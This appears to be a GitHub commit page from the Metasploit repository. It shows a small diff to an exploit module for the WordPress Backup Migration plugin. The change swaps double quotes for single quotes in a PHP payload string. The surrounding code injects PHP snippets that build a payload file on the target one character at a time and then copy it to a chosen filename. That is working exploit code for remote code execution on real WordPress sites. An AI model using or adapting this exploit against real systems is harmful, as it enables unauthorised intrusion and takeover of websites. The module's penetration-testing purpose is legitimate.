Changed payload double quote to single

rapid7 · Jan 15, 2024 · f1586f0 · f1586f0
1 parent 5e25a99
commit f1586f0
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb
@@ -103,7 +103,7 @@ def write_to_payload_file(string_to_write)
 
     single_char_filename = Rex::Text.rand_text_alpha(1)
     string_to_write.each_char do |char|
-      send_payload("<?php fwrite(fopen(\"#{single_char_filename}\",\"a\"),\"#{'\\x' + char.unpack('H2')[0]}\");?>")
+      send_payload("<?php fwrite(fopen('#{single_char_filename}','a'),'#{'\\x' + char.unpack('H2')[0]}');?>")
     end
     register_file_for_cleanup(single_char_filename)
     send_payload("<?php copy(\"#{single_char_filename}\",\"#{datastore['PAYLOAD_FILENAME']}\");?>")